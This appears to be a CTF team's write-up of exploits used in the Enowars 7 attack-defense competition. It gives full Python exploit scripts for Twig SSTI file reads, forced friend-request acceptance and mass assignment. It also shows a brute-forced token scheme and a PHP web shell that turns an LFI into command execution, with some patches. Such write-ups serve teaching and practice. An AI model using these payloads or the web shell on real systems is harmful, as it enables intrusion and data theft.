Home Enowars 7
Post
Cancel

Enowars 7

Oldschool - Twig SSTI

One of the many vulnerabilities from this service was SSTI. The program is using the twig templating engine so a payload like {{7*7}} will result in 49

about me page

We exploiting this in the “About me” section of the user profile

ssti code

As a result of this snipped of code. we can pass SSTI payloads into service.

From testing it seemed RCE was not going to work. We still had file read which is enough for us to exploit this. The following payload is used for file read: {{ source("grades/file_to_read") }} This would result in an error on the page so it was wrapped in a comment:

Final payload: <!-- {{ source("file_we_want_to_read") }} --!>

So we can read any file we want. but we need to read flag files! Looking at the attack.json endpoint we can see what flagstores are useful for Oldschool.

attack json file

A file is being upload and named randomints_md5hash this md5 hash. From looking at our own box these files are being saved in /services/grades/

so we need to read grades/FLAG_ID

I tested this on the NOP team with a simple payload of : <!-- {{ source("grades/138219_1143facd439275abb0caed4979e4f8bf") }} --!> and sure enough. the flag was in the source of the page. Now it was just a matter of writing an exploit script that will go to each team and grab that flag.

Exploiting

We need to automate out exploit in order to exploit all the teams. To do this, we need a few “stages” to our exploit. the basic plan is:

  • Create an account
  • Using that account update About me with out SSTI payload
  • Retrieve and submit the flag

We used a random string for the username and password for each account and would make a new account for each attack. The following code will make an account for us:

1
2
3
4
5
session = requests.Session()
username = rand_string(10)
password = rand_string(10)

session.post(f"http://{ip}:9080/index.php?action=register", data={"username":username,"password":password})

We than update our profile “about me” with out payload and grab the results of the page:

1
2
3
4
payload = {'about_me': '<!--{{ source("grades/'+FLAGID+'") }}-->'}
session.post(f"http://{ip}:9080/index.php?action=profile", data=payload)
profile_page = session.get(f"http://{ip}:9080/index.php?action=profile").text

FLAGID and IP are taken from the attack.json endpoint.

We used this bit of code to only return the flag string from out exploit script:

1
2
3
4
flag_regex = re.compile('ENO[A-Za-z0-9+/=]{48}')
flags = flag_regex.findall(profile_page)

print(flags)

Our exploit manager handles the submitting of the flag. so printing it out like that is enough for this script.

attack json file

Full script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python3
import requests
import random
import string
import re
import os
import json

letters = string.ascii_lowercase

def rand_string(num):
	return ''.join(random.choice(letters) for i in range(num))

ip = os.getenv('TARGET_IP')
extra = json.loads(os.getenv('TARGET_EXTRA'))

for x in extra.keys():
	FLAGID = extra[x]['1'][0].split(' ')[-1]

	session = requests.Session()

	username = rand_string(10)
	password = rand_string(10)

	payload = {'about_me': '<!--{{ source("grades/'+FLAGID+'") }}-->'}

	session.post(f"http://{ip}:9080/index.php?action=register", data={"username":username,"password":password})
	session.post(f"http://{ip}:9080/index.php?action=profile", data=payload)
	profile_page = session.get(f"http://{ip}:9080/index.php?action=profile").text

	flag_regex = re.compile('ENO[A-Za-z0-9+/=]{48}')
	flags = set(flag_regex.findall(profile_page))
	for flag in flags:
		print(flag)
		

asocialnetwork - Broken Access Control

This was wonderfully made social media app. home page

We found from tulip that the Chatroom will contain a flag. The chatroom that has a flag was the room that a user from the attack.json file was a part of. The only issue is in order to know that room this user is a part of, you must be their friend, and making friends is hard so lets force them to be our friend.

When you send a friend request the following request is made: partner=THEIRNAME&userName=YOURNAME&status=send

1
2
3
4
5
6
7
8
9
10
if (req.body.status === 'accept') {
    if (!friend) {
        res.status(400).send('Acceptance Request not found')
        return
    } else {
        friend.status = 'accepted'
        await friend.save()
    }
}

however, you can force them to accept your friend request by changing “send” to “accept”

There is no check to ensure the user accepting the request is not the user that sent the request.

So now that we are suddenly very popular. we can view our new friend profile and see what rooms they are part of. (I don’t have any screenshots of this from the live CTF). Viewing their profile gave us a room ID. this room ID was not valid to just join the chatroom. From review of the source code we needed to get the sha256 of that ID. This would let us join the chatroom and get the flag.

Exploiting

For this exploit we need to:

  • Make a new account
  • Send a friend request to our new friend
  • Force them to accept it.
  • get the sha256sum of the room ID
  • Visit the room and get the flag

First bit is done with this:

1
2
3
4
5
session = requests.Session()
username = rand_string(10)
password = rand_string(10)

session.post(f"http://{ip}:3000/register", data={"username":username,"password":password,"confirmPassword":password})

We can than send and accept the friend request with this:

1
2
session.post(f"http://{ip}:3000/friends/requests/", data={"partner":FLAGID,"userName":username,"status":"send"})
session.post(f"http://{ip}:3000/friends/requests/", data={"partner":FLAGID,"userName":username,"status":"accept"})

The final part is to go to our new friends page. get the ID, hash it and view the chatroom:

1
2
3
4
5
6
7
8
friend_page = session.get(f"http://{ip}:3000/profile/{FLAGID}").text
pattern = r'<div class="room">\s*<h3>(.*?)</h3>'
test = re.search(pattern,friend_page)
roomid_tmp = test.group(1).encode('utf-8')
roomid = hashlib.sha256(roomid_tmp).hexdigest()

chatroom = session.get(f"http://{ip}:3000/chatroom/{roomid}").text

Full script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
import requests
import random
import string
import re
import os
import json
import hashlib


letters = string.ascii_lowercase
def rand_string(num):
	return ''.join(random.choice(letters) for i in range(num))

ip = os.getenv('TARGET_IP')
extra = json.loads(os.getenv('TARGET_EXTRA'))

for x in extra.keys():
	FLAGID =json.loads(extra[x]['1'][0])['username']
	#print(FLAGID)
	try:
		session = requests.Session()
		username = rand_string(10)
		password = rand_string(10)

		session.post(f"http://{ip}:3000/register", data={"username":username,"password":password,"confirmPassword":password})
		session.post(f"http://{ip}:3000/friends/requests/", data={"partner":FLAGID,"userName":username,"status":"send"})

		session.post(f"http://{ip}:3000/friends/requests/", data={"partner":FLAGID,"userName":username,"status":"accept"})

		friend_page = session.get(f"http://{ip}:3000/profile/{FLAGID}").text
		pattern = r'<div class="room">\s*<h3>(.*?)</h3>'
		test = re.search(pattern,friend_page)
		roomid_tmp = test.group(1).encode('utf-8')
		roomid = hashlib.sha256(roomid_tmp).hexdigest()

		chatroom = session.get(f"http://{ip}:3000/chatroom/{roomid}").text

		flag_regex = re.compile('ENO[A-Za-z0-9+/=]{48}')
		flags = flag_regex.findall(chatroom)
		for flag in set(flags):
			print(flag)
	except Exception as e:
		print(e)

OldSchool - Mass Assignment

For the Oldschool service we were able to update our user profile.

Here is the function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function updateProfile($userId, $profileData)
{
    $dbh = DB::getInstance();
    $sql = 'UPDATE users SET ';
    $params = [];
    $first = true;

    foreach ($profileData as $key => $value) {
        if (!$first) {
            $sql .= ', ';
        } else {
            $first = false;
        }
        $sql .= $key . ' = :' . $key;
        $params[':' . $key] = $value;
    }

    $sql .= ' WHERE id = :userId';
    $params[':userId'] = $userId;
    if (isset($params[':password']) && $params[':password'] != '') {
        $params[':password'] = password_hash($params[':password'], PASSWORD_DEFAULT);
    }

    $stmt = $dbh->prepare($sql);
    $stmt->execute($params);
}

When the function is called it gets passed the full $_POST array:

1
updateProfile($_SESSION['user']['id'], $_POST);

There is of course an SQLi in this function but it was easier to exploit the mass assignment for the same flag. The mass assignment is also harder to patch.

Mass assignment vulnerabilities occurs when an application allows us to specify what fields to update without any constraints - in this case admin_of is something we shouldnt be allowed to change. To exploit this we register an account, submit a post request with admin_of=123 where 123 is given to use in the attack json. Then we can view the profile of the user given in the attack json which has a flag for us to take.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python3
import requests
import random
import string
import re
import json
from sys import argv
import os

letters = string.ascii_lowercase

#script,ip = argv
ip = os.getenv('TARGET_IP')
extra = json.loads(os.getenv('TARGET_EXTRA'))

session = requests.Session()
headers = {'User-Agent':'python-httpx/0.23.3'} # user agent of the flag checker (afaik)
flag_regex = re.compile(r'ENO[A-Za-z0-9+/=]{48}')

def rand_string(num):
	return ''.join(random.choice(letters) for i in range(num))

username = rand_string(10)
password = rand_string(10)

session.post(f"http://{ip}:9080/index.php?action=register",data={"username":username,"password":password},headers=headers)

for x in extra.keys():
	extra_txt = extra[x]['0'][0]
	course_id = extra_txt.split(' ')[-1]
	user_id = extra_txt.split(' ')[3]
	session.post(f"http://{ip}:9080/index.php?action=profile", data={"aDmIn_oF":course_id}) # mixed case to bypass weak filters
	page = session.get(f"http://{ip}:9080/index.php?action=profile&id={user_id}").text
	flags = set(flag_regex.findall(page))
	for flag in flags:
		print(flag)

Bollwerk

Vuln 1 - Bruteforcable Tokens

The first vuln we found was with how the app handles support tickets/complaints. When creating a complaint, its stored through a b64 token of your username, ‘_’ for padding and the first 8 chars of uniqid()

1
2
3
4
5
#app/Controller/SupportController.php:38
	private function generateToken(string $username): string
	{
	return base64_encode(sprintf("%-'_21s%.8s", $username, uniqid()));
    }

Uniqid reutrns a “unique” identifier based on the current time in microseconds. But since its only using the first 8 bytes. It’s not that unique, with only the last 1 or 2 bytes being different. So you can brute force the ID with relative ease.

1
2
3
4
5
6
php > echo sprintf("%.8s",  uniqid());
# 64c1709e
php > echo sprintf("%.8s",  uniqid());
# 64c1709f
php > echo sprintf("%.8s",  uniqid());
# 64c170a0

Looking at /support-disclaimer of the web app will reveal all current complains. This includes the username and the time that the complaint was made. Using the two of these you can quickly generate the valid tokens and get the flag.

Patch

Our patch for this was to just replace uniqid with random_bytes() so the bytes are actually unique.

1
2
3
4
5
#app/Controller/SupportController.php:38
private function generateToken(string $username): string
    {
        return base64_encode(sprintf("%-'_21s%.8s", $username, bin2hex(random_bytes(10)) ));
    }

We also stripped the submission date from the /support-disclaimer page to make getting the exact submission time harder to get.

Vuln 2 - LFI

The second vuln found was intended as LFI by calling on the $viewPath variable, but we were able to get RCE.

$viewPath is inside the function render which is used to render a view file and return its contents as a response object. When the $viewPath variable is used in your request, the contents of the file being viewed and can be rendered.

1
2
3
4
5
6
7
8
9
#app/Http/View.php:18
public static function render(string $view, array $parameters = []): Response
    {
        ob_start();
        $viewPath = "View/$view.php";
        extract([...static::createGlobals(), ...$parameters]);
        require(resolvePath($viewPath));
        return Response::create((string)ob_get_clean());
    }

The resolvePath function is used to get the path of the file to be rendered. However, its limited to these directories

1
2
3
4
5
const ALLOW_LIST = [
'files',
'public',
'View',
];

With all of this, we can now view any files that are in the directories listed in ALLOW_LIST. We know that when a user creates a recipe, the file is stored in a directory that is the md5 hash of the users username.

1
2
3
4
public function createRecipe(array $data): Recipe
{
$directory = resolvePath('files/' . md5($this->request->session->getUser()->username), checkFileExistence: false);
...

The attack.json file gives us both the username and recipe title for all the flags for the tick. So we can then view any files by sending viewPath=files/{MD5 of username}/{filename}.md as a cookie in a GET request.

RCE

From looking in the tulip logs we seen that one team was able to load their own recipes with PHP code in order to get RCE. We were able to replicate it by creating a recipe with this as the recipes description

1
<?php system($_GET['rce']);?>

Once we called our recipe, we can give a url parameter ?rce=grep+-ERho+'ENO%5BA-Za-z0-9+%5C/=%5D%7B48%7D'+/var/www/html/files to read all files matching the flag regex.

Patch

Our patch for this was fairly simple. We just added a salt of ‘irelandwithoutre’ to the md5 of the username for the directory name. ```php public function createRecipe(array $data): Recipe

{

$directory = resolvePath(‘files/’ . md5($this->request->session->getUser()->username . ‘irelandwithoutre’), checkFileExistence: false); …

This post is licensed under CC BY 4.0 by the author.